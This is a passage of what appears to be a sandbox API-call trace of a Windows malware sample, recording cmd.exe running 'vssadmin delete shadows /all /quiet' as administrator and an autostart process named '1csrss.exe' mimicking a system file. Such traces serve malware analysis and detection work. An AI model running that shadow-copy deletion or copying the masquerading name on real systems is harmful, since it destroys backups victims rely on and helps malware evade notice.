lpWideCharStr=0x7ff65bc03c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0127.111] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.111] GetFileType (hFile=0x248) returned 0x3 [0127.111] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.111] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.111] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.111] GetFileType (hFile=0x254) returned 0x3 [0127.111] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.111] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0127.111] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xf4e00ff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff8d8*=0x24, lpOverlapped=0x0) returned 1 [0127.111] GetProcessHeap () returned 0x2dc22640000 [0127.111] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x4012) returned 0x2dc22648fc0 [0127.111] GetProcessHeap () returned 0x2dc22640000 [0127.111] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22648fc0) returned 1 [0127.112] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0127.112] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0127.112] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0127.112] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0127.112] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0127.112] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0127.112] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0127.112] GetProcessHeap () returned 0x2dc22640000 [0127.112] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xb0) returned 0x2dc22648320 [0127.112] GetProcessHeap () returned 0x2dc22640000 [0127.112] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x22) returned 0x2dc22646a80 [0127.113] GetProcessHeap () returned 0x2dc22640000 [0127.113] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x48) returned 0x2dc226483e0 [0127.113] GetConsoleOutputCP () returned 0x4e3 [0127.124] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65bbffbb0 | out: lpCPInfo=0x7ff65bbffbb0) returned 1 [0127.124] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.125] GetConsoleTitleW (in: lpConsoleTitle=0xf4e00ff720, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.128] malloc (_Size=0xffce) returned 0x2dc22830840 [0127.128] ??_V@YAXPEAX@Z () returned 0x2dc22830840 [0127.129] malloc (_Size=0xffce) returned 0x2dc22840820 [0127.129] ??_V@YAXPEAX@Z () returned 0x2dc22840820 [0127.129] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0127.129] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0127.129] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0127.129] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0127.129] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0127.129] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0127.129] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0127.129] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0127.129] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0127.129] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0127.129] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0127.129] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0127.129] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0127.129] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0127.129] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0127.129] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0127.129] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0127.129] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0127.129] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0127.129] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0127.129] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0127.129] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0127.129] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0127.129] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0127.129] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0127.129] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0127.129] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0127.129] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0127.129] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0127.129] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0127.129] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0127.129] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0127.130] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0127.130] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0127.130] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0127.130] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0127.130] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0127.130] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0127.130] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0127.130] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0127.130] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0127.130] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0127.130] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0127.130] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0127.130] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0127.130] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0127.130] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0127.130] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0127.130] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0127.130] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0127.130] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0127.130] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0127.130] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0127.130] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0127.130] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0127.130] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0127.130] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0127.130] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0127.130] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0127.130] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0127.130] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0127.130] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0127.130] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0127.130] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0127.130] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0127.130] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0127.130] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0127.130] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0127.130] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0127.130] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0127.130] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0127.131] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0127.131] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0127.131] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0127.131] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0127.131] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0127.131] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0127.131] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0127.131] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0127.131] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0127.131] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0127.131] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0127.131] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0127.131] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0127.131] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0127.131] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0127.131] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0127.131] ??_V@YAXPEAX@Z () returned 0x1 [0127.131] GetProcessHeap () returned 0x2dc22640000 [0127.131] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xffde) returned 0x2dc22648fc0 [0127.132] GetProcessHeap () returned 0x2dc22640000 [0127.132] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x5a) returned 0x2dc22646c30 [0127.132] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0127.132] malloc (_Size=0xffce) returned 0x2dc22840820 [0127.132] ??_V@YAXPEAX@Z () returned 0x2dc22840820 [0127.132] GetProcessHeap () returned 0x2dc22640000 [0127.132] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x1ffac) returned 0x2dc2265ab20 [0127.134] SetErrorMode (uMode=0x0) returned 0x0 [0127.135] SetErrorMode (uMode=0x1) returned 0x0 [0127.135] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2dc2265ab30, lpFilePart=0xf4e00fefa0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xf4e00fefa0*="Desktop") returned 0x17 [0127.135] SetErrorMode (uMode=0x0) returned 0x1 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc2265ab20, Size=0x52) returned 0x2dc2265ab20 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlSizeHeap (HeapHandle=0x2dc22640000, Flags=0x0, MemoryPointer=0x2dc2265ab20) returned 0x52 [0127.135] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0127.135] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x1bc) returned 0x2dc22646ca0 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x368) returned 0x2dc22658fb0 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc22658fb0, Size=0x1be) returned 0x2dc22658fb0 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlSizeHeap (HeapHandle=0x2dc22640000, Flags=0x0, MemoryPointer=0x2dc22658fb0) returned 0x1be [0127.135] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xe8) returned 0x2dc22659180 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc22659180, Size=0x7e) returned 0x2dc22659180 [0127.135] GetProcessHeap () returned 0x2dc22640000 [0127.135] RtlSizeHeap (HeapHandle=0x2dc22640000, Flags=0x0, MemoryPointer=0x2dc22659180) returned 0x7e [0127.135] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0127.135] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0xffffffffffffffff [0127.136] GetLastError () returned 0x2 [0127.136] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0127.136] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0xffffffffffffffff [0127.138] GetLastError () returned 0x2 [0127.139] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0127.139] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0x2dc22659210 [0127.139] FindClose (in: hFindFile=0x2dc22659210 | out: hFindFile=0x2dc22659210) returned 1 [0127.139] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0xffffffffffffffff [0127.139] GetLastError () returned 0x2 [0127.139] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0x2dc22659210 [0127.139] FindClose (in: hFindFile=0x2dc22659210 | out: hFindFile=0x2dc22659210) returned 1 [0127.140] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0127.140] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0127.140] ??_V@YAXPEAX@Z () returned 0x1 [0127.140] GetConsoleTitleW (in: lpConsoleTitle=0xf4e00ff290, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.148] GetProcessHeap () returned 0x2dc22640000 [0127.148] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x21c) returned 0x2dc22646040 [0127.148] GetConsoleTitleW (in: lpConsoleTitle=0x2dc22646050, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.158] GetProcessHeap () returned 0x2dc22640000 [0127.158] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc22646040, Size=0xc2) returned 0x2dc22646040 [0127.158] GetProcessHeap () returned 0x2dc22640000 [0127.158] RtlSizeHeap (HeapHandle=0x2dc22640000, Flags=0x0, MemoryPointer=0x2dc22646040) returned 0xc2 [0127.158] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0127.165] GetProcessHeap () returned 0x2dc22640000 [0127.165] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22646040) returned 1 [0127.165] InitializeProcThreadAttributeList (in: lpAttributeList=0xf4e00ff1b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xf4e00ff0a0 | out: lpAttributeList=0xf4e00ff1b0, lpSize=0xf4e00ff0a0) returned 1 [0127.165] UpdateProcThreadAttribute (in: lpAttributeList=0xf4e00ff1b0, dwFlags=0x0, Attribute=0x60001, lpValue=0xf4e00ff08c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xf4e00ff1b0, lpPreviousValue=0x0) returned 1 [0127.165] GetStartupInfoW (in: lpStartupInfo=0xf4e00ff140 | out: lpStartupInfo=0xf4e00ff140*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0127.165] GetProcessHeap () returned 0x2dc22640000 [0127.165] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x20) returned 0x2dc22641850 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0127.165] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0127.166] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0127.166] GetProcessHeap () returned 0x2dc22640000 [0127.166] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22641850) returned 1 [0127.166] GetProcessHeap () returned 0x2dc22640000 [0127.166] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x12) returned 0x2dc22646e70 [0127.166] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.166] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0127.166] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.166] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0127.166] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xf4e00ff0d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xf4e00ff0a8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xf4e00ff0a8*(hProcess=0x94, hThread=0x98, dwProcessId=0xfa0, dwThreadId=0xd3c)) returned 1 [0130.973] CloseHandle (hObject=0x98) returned 1 [0130.974] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0130.974] GetProcessHeap () returned 0x2dc22640000 [0130.974] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc2265a020) returned 1 [0130.974] GetEnvironmentStringsW () returned 0x2dc22659520* [0130.974] GetProcessHeap () returned 0x2dc22640000 [0130.974] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xaf2) returned 0x2dc2265a020 [0130.974] FreeEnvironmentStringsA (penv="=") returned 1 [0130.974] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xf4e00fe5a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xf4e00fe5a8, ReturnLength=0x0) returned 0x0 [0130.974] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xd384278000, lpBuffer=0xf4e00fe5e0, nSize=0x7a0, lpNumberOfBytesRead=0xf4e00fe5a0 | out: lpBuffer=0xf4e00fe5e0*, lpNumberOfBytesRead=0xf4e00fe5a0*=0x7a0) returned 1 [0130.974] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) Thread: id = 14 os_tid = 0xe5c Thread: id = 31 os_tid = 0x1064 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x121eb000" os_pid = "0xd14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xd98" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0xd70 Thread: id = 10 os_tid = 0xca0 Thread: id = 11 os_tid = 0xff0 Thread: id = 12 os_tid = 0xf5c Thread: id = 13 os_tid = 0x46c Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0xe1a9000" os_pid = "0xdcc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xd98" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xf78 Thread: id = 26 os_tid = 0xbe8 Thread: id = 27 os_tid = 0xf4c Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x7fe1000" os_pid = "0xfa0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xd98" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 30 os_tid = 0xd3c Thread: id = 32 os_tid = 0x1078 Thread: id = 33 os_tid = 0x107c Process: id = "6" image_name = "1csrss.exe" filename = "c:\\windows\\system32\\1csrss.exe" page_root = "0x28c60000" os_pid = "0xd88" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Windows\\System32\\1csrss.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], 